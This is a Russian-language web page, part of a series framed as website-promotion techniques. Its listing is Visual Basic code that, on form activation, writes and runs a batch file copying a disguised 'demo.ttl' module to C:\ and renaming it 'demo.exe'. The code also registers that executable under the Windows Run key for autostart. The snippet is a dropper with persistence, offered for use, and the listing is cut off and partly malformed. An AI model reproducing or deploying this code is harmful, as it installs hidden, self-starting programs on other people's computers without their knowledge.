Приемы раскрутки WEB-сайтов



           

Приемы "раскрутки" WEB-сайтов - часть 45


Ниже приведен листинг программы, позволяющий выполнять следующие действия:

- создавать на диске в текущем каталоге BAT файл setup.bat, в который пишутся команды копирования модуля demo.ttl на диск C:\ , переименования demo.ttl в demo.exe

- запускать BAT файл для исполнения

- создавать в реестре Windows XP в разделе автозагрузки программ запись Demo  REG_SZ   C:\demo.exe (см. скриншот)

Private Sub Form_Activate()

  AutoSet ‘Сделать запись в реестре Windows XP (см. далее)

'-----------------------------

Создать  BAT-файл для копирования и переименования загружаемого модуля

indx = 1

Str1(0) = "copy demo.ttl c:\demo.ttl" 'Скопировать модуль на диск C:\

Str1(1) = "c:"

Str1(2) = "cd c:\"

Str1(3) = "ren demo.ttl demo.exe"     'Переименовать модуль в  EXE

        For i = 0 To 3

        Str1(i) = Str1(i) + Chr$(13) + Chr$(10)

Open "setup.bat" For Binary As #1 Len = Len(Str1(i))

  Put #1, indx, Str1(i)    'Записать BAT-файл на диск

indx = indx + Len(Str1(i)) 'Номер следующей записи

Close #1

Next i

Shell ("setup.bat") 'Запустить BAT-файл на исполнение

End Sub

Private Sub AutoSet()

'Создать запись в реестре Windows XP для запуска модуля при старте Windows

LSkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ' АВТОЗАГРУЗКА

secattr.nLength = Len(secattr)  ' size of the structure

secattr.lpSecurityDescriptor = 0  ' default security level

secattr.bInheritHandle = True  ' the default value for this setting

'--------------------------------------------------------

retval = RegCreateKeyEx(HKEY_LOCAL_MACHINE, LSkey, 0, "", 0, KEY_WRITE, secattr, hregkey, neworused)

If retval <> 0 Then  ' error during open

  Debug.Print "Error opening or creating registry key -- aborting."

  End  ' terminate the program

End If

stringbuffer = "C:\demo.exe" & vbNullChar  ' Путь, где располагается модуль (после исполнения BAT-файла)




Содержание  Назад  Вперед